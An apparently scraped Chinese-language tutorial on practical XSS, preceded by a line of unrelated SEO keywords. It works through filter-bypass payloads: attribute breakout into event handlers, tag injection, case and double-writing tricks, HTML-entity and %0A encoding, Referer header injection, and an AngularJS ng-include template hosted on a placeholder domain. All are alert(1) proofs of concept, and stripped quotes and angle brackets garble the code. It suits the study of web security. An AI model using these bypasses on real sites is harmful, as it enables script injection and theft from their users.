网站页面打不开,工商注册深圳,怎样做网络销售网站,建设一个一般网站需要多少时间XSS注入, XSS实战思路
一, 可以输入文本或直接在url后面提交参数.
网页源码:
input namekeyword value对于这种input标签, 首先可以考虑使用 onclick 等事件来执行js. 先输入 , , onclick() 等等提交, 查看页面源代码. 如果输入的符号没…XSS注入, XSS实战思路
一, 可以输入文本或直接在url后面提交参数.
网页源码:
input namekeyword value对于这种input标签, 首先可以考虑使用 onclick 等事件来执行js. 先输入 , , onclick() 等等提交, 查看页面源代码. 如果输入的符号没有被转义或替换, 说明前面可以闭合, 进一步测试.
1. 首先考虑用 onclick() 等事件来执行js.
查看源码:
input namekeyword value输入payload: οnclickalert(1)查看源码:
input namekeyword value onclickalert(1)这时前面的value被闭合, 后面多了一个事件, 单机文本框即可弹出.
2. 事件不能用时, 考虑用script标签来执行js.
如果输入的 onclick 被替换为 o_nclick 等其他字符.
查看源码:
input namekeyword value o_nclickalert(1)前面value虽然闭合了, 但是后面无法执行事件. 那么可能一些类似的事件都被防御了. 此时考虑将前面的input标签整体闭合掉, 后面自己再构造一个新的script标签执行js.
输入payload:
/ scriptalert(1)/script查看源码:
input namekeyword value/ scriptalert(1)/script后面多出来的 会作为普通字符显示, 不处理也没有关系.
3. script标签不能用时, 考虑用其他标签来执行js.
如果输入的
input namekeyword value/ scr_iptalert(1)/script前面的input标签虽然闭合了, 但是后面的script标签被替换了, 无法执行js. 此时考虑使用其他标签, 比如a超链接.
输入payload:
/ a hrefjavascript:alert(1)点我/a查看源码:
input namekeyword value/ a hrefjavascript:alert(1)点我/a4. 标签的属性也不能用时, 考虑使用大小写绕过.
如果输入的href属性被替换为hr_ef 等其他字符.
查看源码:
input namekeyword value/ a hr_efjavascript:alert(1)点我/a输入payload: ONcLickalert(1)查看源码:
input namekeyword value ONcLickalert(1)点击输入框之后, ONcLick() 可以顺利触发事件, 执行js.
5. 大小写无法绕过时, 考虑使用双写绕过.
查看源码:
input namekeyword value clickalert(1)这里看到防御措施将事件名替换成了click, 导致事件失效. 猜测规律是将所有的on替换为了空字符串. 那么使用双写将on分开来绕过防御.
输入payload: oonnclickalert(1)查看源码:
input namekeyword value onclickalert(1)6. Payload代码中的关键字无法使用时, 考虑 HTML字符实体绕过.
这里想通过a标签的href属性执行js.
输入payload:
javascript:alert(1)查看源码:
a hrefjavascr_ipt:alert(1)/a这里javascript被替换, 考虑使用HTML字符实体绕过. 将字符串转换为字符实体可以使用在线工具, 比如:
https://www.qqxiuzi.cn/bianma/zifushiti.php将javascript:alert(1)转换为10进制或16进制都可以:
输入payload:
#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;查看源码:
a href#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;/a点击超链接可以顺利执行js.
7. 如果HTML字符实体在链接属性中无效, 考虑添加//http://或//https://.
因为字符实体时没有尖括号或引号等特殊字符, 如果放在事件属性href中可以绕过检测. 那么防御措施可能使用正则表达式来检测, 要求在链接属性中必须包含http://或https://, 否则判断为非法链接. 此时我们可以采用字符实体与http相结合的方式绕过并执行js.
前半段依旧使用js代码的字符实体, 但是注意 javascript:alert(1)后面需要多添加一个分号;. 后面添加//http://, 这里使用注释符号//让http://变成普通的字符串, 这样就不会影响前面需要执行的js.
将javascript:alert(1);转换为10进制:
输入payload:
#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;#59;//http://查看源码:
a html
href#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;#59;//http://
/a8. Payload代码中的空格被替换为nbsp; 时, 考虑用URL编码换行符 %0D, %0A绕过.
查看源码:
centertest/center输入payload:
keywordimg src1 onerroralert(1)/查看源码:
centerimgnbsp;src1nbsp;οnerrοralert(1)nbsp;/center这里发现空格被替换了, 导致事件无法触发. 接着尝试用%0A绕过. 输入payload:
keywordimg%0Asrc1%0Aοnerrοralert(1)/9. 失效的Flash控件.
对于失效的Flash控件, onclick() 事件无法触发, 考虑使用 onmousrover() 事件. 例如:
embed srcxsf01.swf?ab width100% height100%上面代码在网页中嵌入一个Adobe Flash文件. 因为在2020年底之后, 主流的浏览器已经不支持Flash文件, 所以浏览器会显示 显示该插件不受支持.
假设a与b是可控参数. 那么输入payload:
a111b222 οnmοuseοveralert(1)当鼠标划过失效的flash控件时会触发js代码.
二, 隐藏的form表单
在页面中看不到任何可以输入的地方, 查看源码可以看到有隐藏的form表单.
form idsearchinput namelink value typehiddeninput namesort value typehidden
/form1. 首先考虑利用value属性执行js.
从源码的form可以看出是get请求, 那么这里有两种办法提交参数测试:
方法一: 在url地址上直接拼接参数提交.
http://xxx/test.php?link111sort222接着查看源码:
form idsearchinput namelink value typehiddeninput namesort value222 typehidden
/form方法二: 打开F12工具, 修改代码, 添加一个提交按钮, 并去掉隐藏属性显示出输入框.
form idsearchinput namelink value typetextinput namesort value typetextbutton提交/button
/form在输入框输入文本并提交后:
form idsearchinput namelink value typehiddeninput namesort value222 typehidden
/form那么从这里可以看出 value222 就是可以利用的位置. 接着使用payload测试能否执行js. 因为F12是临时修改, 这里的控件在提交之后就会还原成隐藏的, 所以后面使用一个 typebutton 属性来替换掉原来的 typehidden, 这样控件就可以被点击触发事件了.
输入payload:
hello οnclickalert(1) typebutton查看源码:
form idsearchinput namelink value typehiddeninput namesort valuehello onclickalert(1) typebutton
/form2. 如果value属性无法利用时, 考虑使用请求头注入.
在value提交注入后无效, 查看源码:
form idsearchinput namelink value typehiddeninput namesort valuehello onclickalert(1) typebutton typehiddeninput nameref valuehttp://xxx/text.php?refxxx
/form从F12工具观察value的双引号颜色不同, 没有有效闭合, 无法执行js. 将payload提交到ref中发现也无法执行js. 猜测ref的值可能来自请求头中的Referer信息.
首先使用burpsuit或者firefox的Live HTTP headers插件拦截请求. 在请求信息中添加或修改Referer, 再发送请求.
输入payload:
Host: http://xxx/text.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: hello οnclickalert(1) typebutton查看源码:
form idsearchinput namelink value typehiddeninput namesort value typehiddeninput nameref valuehello onclickalert(1) typebutton typehidden
/form那么同样的原理, 如果发现源码中 input 中存在类似 nameua, namecook等类似的命名, 也可以尝试拦截请求, 注入User-Agent, cookie 等请求头.
三, 利用 AngularJS ng-include 加载恶意模板
在 AngularJS 中使用 ng-include加载内容时该内容会被当作 AngularJS 模板处理而不是普通的 HTML。 这意味着任何在加载的内容中的
如果在网页源码中发现引用了 angular.min.js, 代码中使用了 ng-include, 例如:
url: http://xxx/test.php?src1.gif查看源码:
div ng-include1.gif/div接着测试src参数:
输入payload:
srchello查看源码:
div ng-includehello/div那么可以确定这里的ng-include可以被控制. 接着准备一个包含恶意代码的Angular模板文件https://xxx.com/xss.html, 内容如下:
div ng-initevilConstructor constructor.constructor; evilFunction evilConstructor(alert(1)); evilFunction()/div通过src 参数可以加载它并触发alert(1). 输入payload:
srchttps://xxx.com/xss.html查看源码:
div ng-includehttps://xxx.com/xss.html/div代码使用了 AngularJS 的双向数据绑定和 JavaScript 的 constructor 属性来创建并执行一个新的函数 这会触发 alert(1)。